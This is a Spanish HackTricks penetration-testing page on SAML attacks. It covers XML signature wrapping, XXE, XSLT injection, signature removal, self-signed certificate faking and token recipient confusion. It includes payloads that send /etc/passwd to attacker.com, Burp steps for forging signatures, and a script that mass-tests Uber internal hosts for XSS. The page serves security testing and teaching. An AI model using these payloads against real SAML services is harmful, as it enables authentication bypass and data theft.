Español - Ht
HackTricks Training Twitter Linkedin Sponsor

SAML Attacks

Ataques SAML

Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Información Básica

pageSAML Basics

Herramienta

SAMLExtractor: Una herramienta que puede tomar una URL o lista de URL y devolver la URL de consumo de SAML.

Viaje de ida y vuelta XML

En XML, la parte firmada del XML se guarda en memoria, luego se realiza algún tipo de codificación/decodificación y se verifica la firma. Idealmente, esa codificación/decodificación no debería cambiar los datos, pero basado en ese escenario, los datos que se verifican y los datos originales podrían no ser los mismos.

Por ejemplo, revisa el siguiente código:

require 'rexml/document'

doc = REXML::Document.new <<XML
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
<X>
<Y/><![CDATA[--><X><Z/><!--]]>-->
</X>
XML

puts "First child in original doc: " + doc.root.elements[1].name
doc = REXML::Document.new doc.to_s
puts "First child after round-trip: " + doc.root.elements[1].name

Ejecutar el programa contra REXML 3.2.4 o anterior resultaría en la siguiente salida en su lugar:

First child in original doc: Y
First child after round-trip: Z

Este es cómo REXML vio el documento XML original del programa anterior:

Y así es como lo vio después de una ronda de análisis y serialización:

Para obtener más información sobre la vulnerabilidad y cómo abusar de ella:

Ataques de Envoltura de Firma XML

En los ataques de Envoltura de Firma XML (XSW), los adversarios explotan una vulnerabilidad que surge cuando los documentos XML son procesados en dos fases distintas: validación de firma e invocación de función. Estos ataques implican alterar la estructura del documento XML. Específicamente, el atacante inyecta elementos falsificados que no comprometen la validez de la Firma XML. Esta manipulación tiene como objetivo crear una discrepancia entre los elementos analizados por la lógica de la aplicación y los verificados por el módulo de verificación de firma. Como resultado, mientras la Firma XML sigue siendo técnicamente válida y pasa la verificación, la lógica de la aplicación procesa los elementos fraudulentos. En consecuencia, el atacante logra evadir la protección de integridad y la autenticación de origen de la Firma XML, lo que permite la inyección de contenido arbitrario sin ser detectado.

Los siguientes ataques se basan en esta publicación de blog y este documento. Por lo tanto, consulta esos recursos para más detalles.

XSW #1

  • Estrategia: Se agrega un nuevo elemento raíz que contiene la firma.

  • Implicación: El validador puede confundirse entre el "Response -> Assertion -> Subject" legítimo y el "nuevo Response -> Assertion -> Subject" del atacante, lo que lleva a problemas de integridad de datos.

XSW #2

  • Diferencia de XSW #1: Utiliza una firma desvinculada en lugar de una firma envolvente.

  • Implicación: La estructura "maliciosa", similar a XSW #1, tiene como objetivo engañar a la lógica empresarial después de la verificación de integridad.

XSW #3

  • Estrategia: Se crea una Assertion maliciosa en el mismo nivel jerárquico que la assertion original.

  • Implicación: Pretende confundir a la lógica empresarial para que utilice los datos maliciosos.

XSW #4

  • Diferencia de XSW #3: La Assertion original se convierte en un hijo de la Assertion duplicada (maliciosa).

  • Implicación: Similar a XSW #3 pero altera la estructura XML de manera más agresiva.

XSW #5

  • Aspecto Único: Ni la Firma ni la Assertion original siguen configuraciones estándar (envolvente/desvinculada).

  • Implicación: La Assertion copiada envuelve la Firma, modificando la estructura del documento esperado.

XSW #6

  • Estrategia: Inserción de ubicación similar a XSW #4 y #5, pero con un giro.

  • Implicación: La Assertion copiada envuelve la Firma, que luego envuelve la Assertion original, creando una estructura engañosa anidada.

XSW #7

  • Estrategia: Se inserta un elemento Extensions con la Assertion copiada como hijo.

  • Implicación: Esto explota el esquema menos restrictivo del elemento Extensions para evadir contramedidas de validación de esquema, especialmente en bibliotecas como OpenSAML.

XSW #8

  • Diferencia de XSW #7: Utiliza otro elemento XML menos restrictivo para una variante del ataque.

  • Implicación: La Assertion original se convierte en un hijo del elemento menos restrictivo, invirtiendo la estructura utilizada en XSW #7.

Herramienta

Puedes utilizar la extensión de Burp SAML Raider para analizar la solicitud, aplicar cualquier ataque XSW que elijas y lanzarlo.

XXE

Si no sabes qué tipo de ataques son los XXE, por favor lee la siguiente página:

pageXXE - XEE - XML External Entity

Las respuestas SAML son documentos XML comprimidos y codificados en base64 y pueden ser susceptibles a ataques de Entidad Externa XML (XXE). Al manipular la estructura XML de la respuesta SAML, los atacantes pueden intentar explotar vulnerabilidades XXE. Así es como se puede visualizar un ataque de este tipo:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY    file SYSTEM "file:///etc/passwd">
<!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
<saml:Issuer>...</saml:Issuer>
<ds:Signature ...>
<ds:SignedInfo>
<ds:CanonicalizationMethod .../>
<ds:SignatureMethod .../>
<ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>...</ds:SignatureValue>
[...]

Herramientas

También puedes utilizar la extensión de Burp SAML Raider para generar la POC a partir de una solicitud SAML para probar posibles vulnerabilidades de XXE y vulnerabilidades de SAML.

Consulta también esta charla: https://www.youtube.com/watch?v=WHn-6xHL7mI

XSLT a través de SAML

Para obtener más información sobre XSLT, ve a:

pageXSLT Server Side Injection (Extensible Stylesheet Language Transformations)

Las Transformaciones de Lenguaje de Hoja de Estilo Extensible (XSLT) se pueden utilizar para transformar documentos XML en varios formatos como HTML, JSON o PDF. Es crucial tener en cuenta que las transformaciones XSLT se realizan antes de la verificación de la firma digital. Esto significa que un ataque puede tener éxito incluso sin una firma válida; una firma autofirmada o no válida es suficiente para proceder.

Aquí puedes encontrar una POC para verificar este tipo de vulnerabilidades, en la página de hacktricks mencionada al principio de esta sección puedes encontrar payloads.

<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
...
<ds:Transforms>
<ds:Transform>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="doc">
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
<xsl:value-of select="unparsed-text($exploitUrl)"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
...
</ds:Signature>

Herramienta

También puedes utilizar la extensión de Burp SAML Raider para generar la POC a partir de una solicitud SAML para probar posibles vulnerabilidades XSLT.

Consulta también esta charla: https://www.youtube.com/watch?v=WHn-6xHL7mI

Exclusión de Firma XML

La Exclusión de Firma XML observa el comportamiento de las implementaciones de SAML cuando el elemento de Firma no está presente. Si falta este elemento, la validación de la firma puede no ocurrir, lo que lo hace vulnerable. Es posible probar esto alterando los contenidos que suelen ser verificados por la firma.

Herramienta

También puedes utilizar la extensión de Burp SAML Raider. Intercepta la Respuesta SAML y haz clic en Remove Signatures. Al hacerlo, se eliminan todos los elementos de firma.

Con las firmas eliminadas, permite que la solicitud avance hacia el objetivo. Si la Firma no es requerida por el Servicio

Falsificación de Certificado

La Falsificación de Certificado es una técnica para probar si un Proveedor de Servicios (SP) verifica correctamente que un Mensaje SAML esté firmado por un Proveedor de Identidad de confianza (IdP). Implica usar un *certificado autofirmado para firmar la Respuesta o Aserción SAML, lo que ayuda a evaluar el proceso de validación de confianza entre SP e IdP.

Cómo Realizar la Falsificación de Certificado

Los siguientes pasos describen el proceso utilizando la extensión de Burp SAML Raider:

  1. Intercepta la Respuesta SAML.

  2. Si la respuesta contiene una firma, envía el certificado a SAML Raider Certs utilizando el botón Send Certificate to SAML Raider Certs.

  3. En la pestaña Certificados de SAML Raider, selecciona el certificado importado y haz clic en Save and Self-Sign para crear un clon autofirmado del certificado original.

  4. Regresa a la solicitud interceptada en el Proxy de Burp. Selecciona el nuevo certificado autofirmado desde el menú desplegable de Firma XML.

  5. Elimina cualquier firma existente con el botón Remove Signatures.

  6. Firma el mensaje o aserción con el nuevo certificado utilizando el botón (Re-)Sign Message o (Re-)Sign Assertion, según corresponda.

  7. Reenvía el mensaje firmado. La autenticación exitosa indica que el SP acepta mensajes firmados por tu certificado autofirmado, revelando posibles vulnerabilidades en el proceso de validación de los mensajes SAML.

Confusión del Destinatario del Token / Confusión del Objetivo del Proveedor de Servicios

La Confusión del Destinatario del Token y la Confusión del Objetivo del Proveedor de Servicios implican verificar si el Proveedor de Servicios valida correctamente el destinatario previsto de una respuesta. En esencia, un Proveedor de Servicios debería rechazar una respuesta de autenticación si estaba destinada a otro proveedor. El elemento crítico aquí es el campo Recipient, que se encuentra dentro del elemento SubjectConfirmationData de una Respuesta SAML. Este campo especifica una URL que indica a dónde debe enviarse la Aserción. Si el destinatario real no coincide con el Proveedor de Servicios previsto, la Aserción debería considerarse inválida.

Cómo Funciona

Para que un ataque de Confusión del Destinatario del Token SAML (SAML-TRC) sea factible, deben cumplirse ciertas condiciones. En primer lugar, debe haber una cuenta válida en un Proveedor de Servicios (denominado SP-Legit). En segundo lugar, el Proveedor de Servicios objetivo (SP-Target) debe aceptar tokens del mismo Proveedor de Identidad que sirve a SP-Legit.

El proceso de ataque es sencillo bajo estas condiciones. Se inicia una sesión auténtica con SP-Legit a través del Proveedor de Identidad compartido. La Respuesta SAML del Proveedor de Identidad a SP-Legit es interceptada. Esta Respuesta SAML interceptada, originalmente destinada a SP-Legit, se redirige a SP-Target. El éxito en este ataque se mide por SP-Target aceptando la Aserción, otorgando acceso a recursos bajo el mismo nombre de cuenta utilizado para SP-Legit.

# Example to simulate interception and redirection of SAML Response
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
"""
Simulate the interception of a SAML Response intended for SP-Legit and its redirection to SP-Target.

Args:
- saml_response: The SAML Response intercepted (in string format).
- sp_target_url: The URL of the SP-Target to which the SAML Response is redirected.

Returns:
- status: Success or failure message.
"""
# This is a simplified representation. In a real scenario, additional steps for handling the SAML Response would be required.
try:
# Code to send the SAML Response to SP-Target would go here
return "SAML Response successfully redirected to SP-Target."
except Exception as e:
return f"Failed to redirect SAML Response: {e}"

XSS en la funcionalidad de cierre de sesión

La investigación original se puede acceder a través de este enlace.

Durante el proceso de fuerza bruta de directorios, se descubrió una página de cierre de sesión en:

https://carbon-prototype.uberinternal.com:443/oidauth/logout

Al acceder a este enlace, se produjo una redirección a:

https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1

Esto reveló que el parámetro base acepta una URL. Considerando esto, surgió la idea de sustituir la URL con javascript:alert(123); en un intento de iniciar un ataque XSS (Cross-Site Scripting).

Explotación Masiva

De esta investigación:

La herramienta SAMLExtractor se utilizó para analizar subdominios de uberinternal.com en busca de dominios que utilizan la misma biblioteca. Posteriormente, se desarrolló un script para apuntar a la página oidauth/prompt. Este script prueba la presencia de XSS (Cross-Site Scripting) ingresando datos y verificando si se reflejan en la salida. En los casos en que la entrada se refleja, el script marca la página como vulnerable.

import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from colorama import init ,Fore, Back, Style
init()

with open("/home/fady/uberSAMLOIDAUTH") as urlList:
for url in urlList:
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
request = requests.get(url2, allow_redirects=True,verify=False)
doesit = Fore.RED + "no"
if ("Fady" in request.content):
doesit = Fore.GREEN + "yes"
print(Fore.WHITE + url2)
print(Fore.WHITE + "Len : " + str(len(request.content)) + "   Vulnerable : " + doesit)

Referencias

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

AnteriorReset/Forgotten Password BypassSiguienteSAML Basics

Última actualización